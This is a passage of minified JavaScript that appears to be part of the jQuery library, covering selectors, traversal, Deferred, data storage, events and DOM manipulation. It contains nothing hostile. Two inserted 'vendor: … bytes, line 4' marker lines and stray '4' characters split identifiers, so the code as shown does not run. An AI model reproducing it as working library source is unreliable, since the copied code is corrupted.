e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:q.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof S?t[0]:t,S.merge(this,S.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),N.test(r[1])&&S.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(S):S.makeArray(e,this)}).prototype=S.fn,j=S(E);var L=/^(?:parents|prev(?:Until|All))/,H={children:!0,contents:!0,next:!0,prev:!0};function O(e,t){while((e=e[t])&&1!==e.nodeType);return e}S.fn.extend({has:function(e){var t=S(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(S.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&S(e);if(!k.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?-1<a.index(n):1===n.nodeType&&S.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(1<o.length?S.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?i.call(S(e),this[0]):i.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(S.uniqueSort(S.merge(this.get(),S(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),S.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return h(e,"parentNode")},parentsUntil:function(e,t,n){return h(e,"parentNode",n)},next:function(e){return O(e,"nextSibling")},prev:function(e){return O(e,"previousSibling")},nextAll:function(e){return h(e,"nextSibling")},prevAll:function(e){return h(e,"previousSibling")},nextUntil:function(e,t,n){return h(e,"nextSibling",n)},prevUntil:function(e,t,n){return h(e,"previousSibling",n)},siblings:function(e){return T((e.parentNode||{}).firstChild,e)},children:function(e){return T(e.firstChild)},contents:function(e){return null!=e.contentDocument&&r(e.contentDocument)?e.contentDocument:(A(e,"template")&&(e=e.content||e),S.merge([],e.childNodes))}},function(r,i){S.fn[r]=function(e,t){var n=S.map(this,i,e);return"Until"!==r.slice(-5)&&(t=e),t&&"string"==typeof t&&(n=S.filter(t,n)),1<this.length&&(H[r]||S.uniqueSort(n),L.test(r)&&n.reverse()),this.pushStack(n)}});var P=/[^\x20\t\r\n\f]+/g;function R(e){return e}function M(e){throw e}function I(e,t,n,r){var i;try{e&&m(i=e.promise)?i.call(e).done(t).fail(n):e&&m(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}S.Callbacks=function(r){var e,n;r="string"==typeof r?(e=r,n={},S.each(e.match(P)||[],function(e,t){n[t]=!0}),n):S.extend({},r);var i,t,o,a,s=[],u=[],l=-1,c=function(){for(a=a||r.once,o=i=!0;u.length;l=-1){t=u.shift();while(++l<s.length)!1===s[l].apply(t[0],t[1])&&r.stopOnFalse&&(l=s.length,t=!1)}r.memory||(t=!1),i=!1,a&&(s=t?[]:"")},f={add:function(){return s&&(t&&!i&&(l=s.length-1,u.push(t)),function n(e){S.each(e,function(e,t){m(t)?r.unique&&f.has(t)||s.push(t):t&&t.length&&"string"!==w(t)&&n(t)})}(arguments),t&&!i&&c()),this},remove:function(){return S.each(arguments,function(e,t){var n;while(-1<(n=S.inArray(t,s,n)))s.splice(n,1),n<=l&&l--}),this},has:function(e){return e?-1<S.inArray(e,s):0<s.length},empty:function(){return s&&(s=[]),this},disable:function(){return a=u=[],s=t="",this},disabled:function(){return!s},lock:function(){return a=u=[],t||i||(s=t=""),this},locked:function(){return!!a},fireWith:function(e,t){return a||(t=[e,(t=t||[]).slice?t.slice():t],u.push(t),i||c()),this},fire:function(){return f.fireWith(this,arguments),this},fired:function(){return!!o}};return f},S.extend({Deferred:function(e){var o=[["notify","progress",S.Callbacks("memory"),S.Callbacks("memory"),2],["resolve","done",S.Callbacks("once memory"),S.Callbacks("once memory"),0,"resolved"],["reject","fail",S.Callbacks("once memory"),S.Callbacks("once memory"),1,"rejected"]],i="pe
vendor: 8,547 bytes, line 4
4nding",a={state:function(){return i},always:function(){return s.done(arguments).fail(arguments),this},"catch":function(e){return a.then(null,e)},pipe:function(){var i=arguments;return S.Deferred(function(r){S.each(o,function(e,t){var n=m(i[t[4]])&&i[t[4]];s[t[1]](function(){var e=n&&n.apply(this,arguments);e&&m(e.promise)?e.promise().progress(r.notify).done(r.resolve).fail(r.reject):r[t[0]+"With"](this,n?[e]:arguments)})}),i=null}).promise()},then:function(t,n,r){var u=0;function l(i,o,a,s){return function(){var n=this,r=arguments,e=function(){var e,t;if(!(i<u)){if((e=a.apply(n,r))===o.promise())throw new TypeError("Thenable self-resolution");t=e&&("object"==typeof e||"function"==typeof e)&&e.then,m(t)?s?t.call(e,l(u,o,R,s),l(u,o,M,s)):(u++,t.call(e,l(u,o,R,s),l(u,o,M,s),l(u,o,R,o.notifyWith))):(a!==R&&(n=void 0,r=[e]),(s||o.resolveWith)(n,r))}},t=s?e:function(){try{e()}catch(e){S.Deferred.exceptionHook&&S.Deferred.exceptionHook(e,t.stackTrace),u<=i+1&&(a!==M&&(n=void 0,r=[e]),o.rejectWith(n,r))}};i?t():(S.Deferred.getStackHook&&(t.stackTrace=S.Deferred.getStackHook()),C.setTimeout(t))}}return S.Deferred(function(e){o[0][3].add(l(0,e,m(r)?r:R,e.notifyWith)),o[1][3].add(l(0,e,m(t)?t:R)),o[2][3].add(l(0,e,m(n)?n:M))}).promise()},promise:function(e){return null!=e?S.extend(e,a):a}},s={};return S.each(o,function(e,t){var n=t[2],r=t[5];a[t[1]]=n.add,r&&n.add(function(){i=r},o[3-e][2].disable,o[3-e][3].disable,o[0][2].lock,o[0][3].lock),n.add(t[3].fire),s[t[0]]=function(){return s[t[0]+"With"](this===s?void 0:this,arguments),this},s[t[0]+"With"]=n.fireWith}),a.promise(s),e&&e.call(s,s),s},when:function(e){var n=arguments.length,t=n,r=Array(t),i=s.call(arguments),o=S.Deferred(),a=function(t){return function(e){r[t]=this,i[t]=1<arguments.length?s.call(arguments):e,--n||o.resolveWith(r,i)}};if(n<=1&&(I(e,o.done(a(t)).resolve,o.reject,!n),"pending"===o.state()||m(i[t]&&i[t].then)))return o.then();while(t--)I(i[t],a(t),o.reject);return o.promise()}});var W=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;S.Deferred.exceptionHook=function(e,t){C.console&&C.console.warn&&e&&W.test(e.name)&&C.console.warn("jQuery.Deferred exception: "+e.message,e.stack,t)},S.readyException=function(e){C.setTimeout(function(){throw e})};var F=S.Deferred();function B(){E.removeEventListener("DOMContentLoaded",B),C.removeEventListener("load",B),S.ready()}S.fn.ready=function(e){return F.then(e)["catch"](function(e){S.readyException(e)}),this},S.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--S.readyWait:S.isReady)||(S.isReady=!0)!==e&&0<--S.readyWait||F.resolveWith(E,[S])}}),S.ready.then=F.then,"complete"===E.readyState||"loading"!==E.readyState&&!E.documentElement.doScroll?C.setTimeout(S.ready):(E.addEventListener("DOMContentLoaded",B),C.addEventListener("load",B));var $=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===w(n))for(s in i=!0,n)$(e,t,s,n[s],!0,o,a);else if(void 0!==r&&(i=!0,m(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(S(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},_=/^-ms-/,z=/-([a-z])/g;function U(e,t){return t.toUpperCase()}function X(e){return e.replace(_,"ms-").replace(z,U)}var V=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t||(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[X(t)]=n;else for(r in t)i[X(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][X(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(X):(t=X(t))in r?[t]:t.match(P)||[]).length;while(n--)delete r[t[n]]}(void 0===t||S.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!S.isEmptyObject(t)}};var Y=new G,Q=new G,J=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,K=/[A-Z]/g;function Z(e,t,n){var r,i;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(K,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n="true"===(i=n)||"false"!==i&&("null"===i?null:i===+i+""?+i:J.test(i)?JSON.parse(i):i)}catch(e){}Q.set(e,t,n)}else n=void 0;return n}S.extend({hasData:function(e){return Q.hasData(e)||Y.hasData(e)},data:function(e,t,n){return Q.access(e,t,n)},removeData:function(e,t){Q.remove(e,t)},_data:function(e,t,n){return Y.access(e,t,n)},_removeData:function(e,t){Y.remove(e,t)}}),S.fn.extend({data:function(n,e){var t,r,i,o=this[0],a=o&&o.attributes;if(void 0===n){if(this.length&&(i=Q.get(o),1===o.nodeType&&!Y.get(o,"hasDataAttrs"))){t=a.length;while(t--)a[t]&&0===(r=a[t].name).indexOf("data-")&&(r=X(r.slice(5)),Z(o,r,i[r]));Y.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof n?this.each(function(){Q.set(this,n)}):$(this,function(e){var t;if(o&&void 0===e)return void 0!==(t=Q.get(o,n))?t:void 0!==(t=Z(o,n))?t:void 0;this.each(function(){Q.set(this,n,e)})},null,e,1<arguments.length,null,!0)},removeData:function(e){return this.each(function(){Q.remove(this,e)})}}),S.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=Y.get(e,t),n&&(!r||Array.isArray(n)?r=Y.access(e,t,S.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=S.queue(e,t),r=n.length,i=n.shift(),o=S._queueHooks(e,t);"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,function(){S.dequeue(e,t)},o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return Y.get(e,n)||Y.access(e,n,{empty:S.Callbacks("once memory").add(function(){Y.remove(e,[t+"queue",n])})})}}),S.fn.extend({queue:function(t,n){var e=2;return"string"!=typeof t&&(n=t,t="fx",e--),arguments.length<e?S.queue(this[0],t):void 0===n?this:this.each(function(){var e=S.queue(this,t,n);S._queueHooks(this,t),"fx"===t&&"inprogress"!==e[0]&&S.dequeue(this,t)})},dequeue:function(e){return this.each(function(){S.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=S.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=Y.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var ee=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,te=new RegExp("^(?:([+-])=|)("+ee+")([a-z%]*)$","i"),ne=["Top","Right","Bottom","Left"],re=E.documentElement,ie=function(e){return S.contains(e.ownerDocument,e)},oe={composed:!0};re.getRootNode&&(ie=function(e){return S.contains(e.ownerDocument,e)||e.getRootNode(oe)===e.ownerDocument});var ae=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&ie(e)&&"none"===S.css(e,"display")};function se(e,t,n,r){var i,o,a=20,s=r?function(){return r.cur()}:function(){return S.css(e,t,"")},u=s(),l=n&&n[3]||(S.cssNumber[t]?"":"px"),c=e.nodeType&&(S.cssNumber[t]||"px"!==l&&+u)&&te.exec(S.css(e,t));if(c&&c[3]!==l){u/=2,l=l||c[3],c=+u||1;while(a--)S.style(e,t,c+l),(1-o)*(1-(o=s()/u||.5))<=0&&(a=0),c/=o;c*=2,S.style(e,t,c+l),n=n||[]}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var ue={};function le(e,t){for(var n,r,i,o,a,s,u,l=[],c=0,f=e.length;c<f;c++)(r=e[c]).style&&(n=r.style.display,t?("none"===n&&(l[c]=Y.get(r,"display")||null,l[c]||(r.style.display="")),""===r.style.display&&ae(r)&&(l[c]=(u=a=o=void 0,a=(i=r).ownerDocument,s=i.nodeName,(u=ue[s])||(o=a.body.appendChild(a.createElement(s)),u=S.css(o,"display"),o.parentNode.removeChild(o),"none"===u&&(u="block"),ue[s]=u)))):"none"!==n&&(l[c]="none",Y.set(r,"display",n)));for(c=0;c<f;c++)null!=l[c]&&(e[c].style.display=l[c]);return e}S.fn.extend({show:function(){return le(this,!0)},hide:function(){return le(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){ae(this)?S(this).show():S(this).hide()})}});var ce,fe,pe=/^(?:checkbox|radio)$/i,de=/<([a-z][^\/\0>\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i;ce=E.createDocumentFragment().appendChild(E.createElement("div")),(fe=E.createElement("input")).setAttribute("type","radio"),fe.setAttribute("checked","checked"),fe.setAttribute("name","t"),ce.appendChild(fe),y.checkClone
vendor: 51,416 bytes, line 4
4=ce.cloneNode(!0).cloneNode(!0).lastChild.checked,ce.innerHTML="<textarea>x</textarea>",y.noCloneChecked=!!ce.cloneNode(!0).lastChild.defaultValue,ce.innerHTML="<option></option>",y.option=!!ce.lastChild;var ge={thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};function ve(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?S.merge([e],n):n}function ye(e,t){for(var n=0,r=e.length;n<r;n++)Y.set(e[n],"globalEval",!t||Y.get(t[n],"globalEval"))}ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td,y.option||(ge.optgroup=ge.option=[1,"<select multiple='multiple'>","</select>"]);var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if("object"===w(o))S.merge(p,o.nodeType?[o]:o);else if(me.test(o)){a=a||f.appendChild(t.createElement("div")),s=(de.exec(o)||["",""])[1].toLowerCase(),u=ge[s]||ge._default,a.innerHTML=u[1]+S.htmlPrefilter(o)+u[2],c=u[0];while(c--)a=a.lastChild;S.merge(p,a.childNodes),(a=f.firstChild).textContent=""}else p.push(t.createTextNode(o));f.textContent="",d=0;while(o=p[d++])if(r&&-1<S.inArray(o,r))i&&i.push(o);else if(l=ie(o),a=ve(f.appendChild(o),"script"),l&&ye(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}var be=/^key/,we=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Te=/^([^.]*)(?:\.(.+)|)/;function Ce(){return!0}function Ee(){return!1}function Se(e,t){return e===function(){try{return E.activeElement}catch(e){}}()==("focus"===t)}function ke(e,t,n,r,i,o){var a,s;if("object"==typeof t){for(s in"string"!=typeof n&&(r=r||n,n=void 0),t)ke(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=Ee;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return S().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=S.guid++)),e.each(function(){S.event.add(this,t,i,r,n)})}function Ae(e,i,o){o?(Y.set(e,i,!1),S.event.add(e,i,{namespace:!1,handler:function(e){var t,n,r=Y.get(this,i);if(1&e.isTrigger&&this[i]){if(r.length)(S.event.special[i]||{}).delegateType&&e.stopPropagation();else if(r=s.call(arguments),Y.set(this,i,r),t=o(this,i),this[i](),r!==(n=Y.get(this,i))||t?Y.set(this,i,!1):n={},r!==n)return e.stopImmediatePropagation(),e.preventDefault(),n.value}else r.length&&(Y.set(this,i,{value:S.event.trigger(S.extend(r[0],S.Event.prototype),r.slice(1),this)}),e.stopImmediatePropagation())}})):void 0===Y.get(e,i)&&S.event.add(e,i,Ce)}S.event={global:{},add:function(t,e,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=Y.get(t);if(V(t)){n.handler&&(n=(o=n).handler,i=o.selector),i&&S.find.matchesSelector(re,i),n.guid||(n.guid=S.guid++),(u=v.events)||(u=v.events=Object.create(null)),(a=v.handle)||(a=v.handle=function(e){return"undefined"!=typeof S&&S.event.triggered!==e.type?S.event.dispatch.apply(t,arguments):void 0}),l=(e=(e||"").match(P)||[""]).length;while(l--)d=g=(s=Te.exec(e[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=S.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=S.event.special[d]||{},c=S.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&S.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(t,r,h,a)||t.addEventListener&&t.addEventListener(d,a)),f.add&&(f.add.call(t,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),S.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=Y.hasData(e)&&Y.get(e);if(v&&(u=v.events)){l=(t=(t||"").match(P)||[""]).length;while(l--)if(d=g=(s=Te.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d){f=S.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,v.handle)||S.removeEvent(e,d,v.handle),delete u[d])}else for(d in u)S.event.remove(e,d+t[l],n,r,!0);S.isEmptyObject(u)&&Y.remove(e,"handle events")}},dispatch:function(e){var t,n,r,i,o,a,s=new Array(arguments.length),u=S.event.fix(e),l=(Y.get(this,"events")||Object.create(null))[u.type]||[],c=S.event.special[u.type]||{};for(s[0]=u,t=1;t<arguments.length;t++)s[t]=arguments[t];if(u.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,u)){a=S.event.handlers.call(this,u,l),t=0;while((i=a[t++])&&!u.isPropagationStopped()){u.currentTarget=i.elem,n=0;while((o=i.handlers[n++])&&!u.isImmediatePropagationStopped())u.rnamespace&&!1!==o.namespace&&!u.rnamespace.test(o.namespace)||(u.handleObj=o,u.data=o.data,void 0!==(r=((S.event.special[o.origType]||{}).handle||o.handler).apply(i.elem,s))&&!1===(u.result=r)&&(u.preventDefault(),u.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,u),u.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&1<=e.button))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<u;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?-1<S(i,this).index(l):S.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u<t.length&&s.push({elem:l,handlers:t.slice(u)}),s},addProp:function(t,e){Object.defineProperty(S.Event.prototype,t,{enumerable:!0,configurable:!0,get:m(e)?function(){if(this.originalEvent)return e(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[t]},set:function(e){Object.defineProperty(this,t,{enumerable:!0,configurable:!0,writable:!0,value:e})}})},fix:function(e){return e[S.expando]?e:new S.Event(e)},special:{load:{noBubble:!0},click:{setup:function(e){var t=this||e;return pe.test(t.type)&&t.click&&A(t,"input")&&Ae(t,"click",Ce),!1},trigger:function(e){var t=this||e;return pe.test(t.type)&&t.click&&A(t,"input")&&Ae(t,"click"),!0},_default:function(e){var t=e.target;return pe.test(t.type)&&t.click&&A(t,"input")&&Y.get(t,"click")||A(t,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},S.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},S.Event=function(e,t){if(!(this instanceof S.Event))return new S.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?Ce:Ee,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&S.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[S.expando]=!0},S.Event.prototype={constructor:S.Event,isDefaultPrevented:Ee,isPropagationStopped:Ee,isImmediatePropagationStopped:Ee,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Ce,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Ce,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Ce,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},S.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,code:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(e){var t=e.button;return null==e.which&&be.test(e.type)?null!=e.charCode?e.charCode:e.keyCode:!e.which&&void 0!==t&&we.test(e.type)?1&t?1:2&t?3:4&t?2:0:e.which}},S.event.addProp),S.each({focus:"focusin",blur:"focusout"},function(e,t){S.event.special[e]={setup:function(){return Ae(this,e,Se),!1},trigger:function(){return Ae(this,e),!0},delegateType:t}}),S.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,i){S.event.special[e]={delegateType:i,bindType:i,handle:function(e){var t,n=e.relatedTarget,r=e.handleObj;return n&&(n===this||S.contains(this,n))||(e.type=r.origType,t=r.handler.apply(this,arguments),e.type=i),t}}}),S.fn.extend({on:function(e,t,n,r){return ke(this,e,t,n,r)},one:function(e,t,n,r){return ke(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,S(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=Ee),this.each(function(){S.event.remove(this,e,n,t)})}});var Ne=/<script|<style|<link/i,De=/checked\s*(?:[^=]|=\s*.checked.)/i,je=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function qe(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&S(e).children("tbody")[0]||e}function Le(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function He(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Oe(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(Y.hasData(e)&&(s=Y.get(e).events))for(i in Y.remove(t,"handle events"),s)for(n=0,r=s[i].length;n<r;n++)S.event.add(t,i,s[i][n]);Q.hasData(e)&&(o=Q.access(e),a=S.extend({},o),Q.set(t,a))}}function Pe(n,r,i,o){r=g(r);var e,t,a,s,u,l,c=0,f=n.length,p=f-1,d=r[0],h=m(d);if(h||1<f&&"string"==typeof d&&!y.checkClone&&De.test(d))return n.each(function(e){var t=n.eq(e);h&&(r[0]=d.call(this,e,t.html())),Pe(t,r,i,o)});if(f&&(t=(e=xe(r,n[0].ownerDocument,!1,n,o)).firstChild,1===e.childNodes.length&&(e=t),t||o)){for(s=(a=S.map(ve(e,"script"),Le)).length;c<f;c++)u=e,c!==p&&(u=S.clone(u,!0,!0),s&&S.merge(a,ve(u,"script"))),i.call(n[c],u,c);if(s)for(l=a[a.length-1].ownerDocument,S.map(a,He),c=0;c<s;c++)u=a[c],he.test(u.type||"")&&!Y.access(u,"globalEval")&&S.contains(l,u)&&(u.src&&"module"!==(u.type||"").toLowerCase()?S._evalUrl&&!u.noModule&&S._evalUrl(u.src,{nonce:u.nonce||u.getAttribute("nonce")},l):b(u.textContent.replace(je,""),u,l))}return n}function Re(e,t,n){for(var r,i=t?S.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||S.cleanData(ve(r)),r.parentNode&&(n&&ie(r)&&ye(ve(r,"script")),r.parentNode.removeChild(r));return e}S.extend({htmlPrefilter:function(e){return e},clone:function(e,t,n){var r,i,o,a,s,u,l,c=e.cloneNode(!0),f=ie(e);if(!(y.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||S.isXMLDoc(e)))for(a=ve(c),r=0,i=(o=ve(e)).length;r<i;r++)s=o[r],u=a[r],void 0,"input"===(l=u.nodeName.toLowerCase())&&pe.test(s.type)?u.checked=s.checked:"input"!==l&&"textarea"!==l||(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o||ve(e),a=a||ve(c),r=0,i=o.length;r<i;r++)Oe(o[r],a[r]);else Oe(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEvent(n,r,t.handle);n[Y.expando]=void 0}n[Q.expando]&&(n[Q.expando]=void 0)}}}),S.fn.extend({detach:function(e){return Re(this,e,!0)},remove:function(e){return Re(this,e)},text:function(e){return $(this,function(e){return void 0===e?S.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return Pe(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||qe(this,e).appendChild(e)})},prepend:function(){return Pe(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=qe(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Pe(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return Pe(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(S.cleanData(ve(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return S.clone(this,e,t)})},html:function(e){return $(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!Ne.test(e)&&!ge[(de.exec(e)||["",""])[1].toLowerCase()]){e=S.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(S.cleanData(ve(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var n=[];return Pe(this,arguments,function(e){var t=this.parentNode;S.inArray(this,n)<0&&(S.cleanData(ve(this)),t&&t.replaceChild(e,this))},n)}}),S.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,a){S.fn[e]=function(e){for(var t,n=[],r=S(e),i=r.length-1,o=0;o<=i;o++)t=o===i?this:this.clone(!0),S(r[o])[a](t),u.apply(n,t.get());return this.pushStack(n)}});var Me=new RegExp("^("+ee+")(?!px)[a-z%]+$","i"),Ie=function(e){var t=e.ownerDocument.defaultView;return t&&t.opener||(t=C),t.getComputedStyle(e)},We=function(e,t,n){var r,i,o={};for(i in t)o[i]=e.style[i],e.style[i]=t[i];for(i in r=n.call(e),t)e.style[i]=o[i];return r},Fe=new RegExp(ne.join("|"),"i");function Be(e,t,n){var 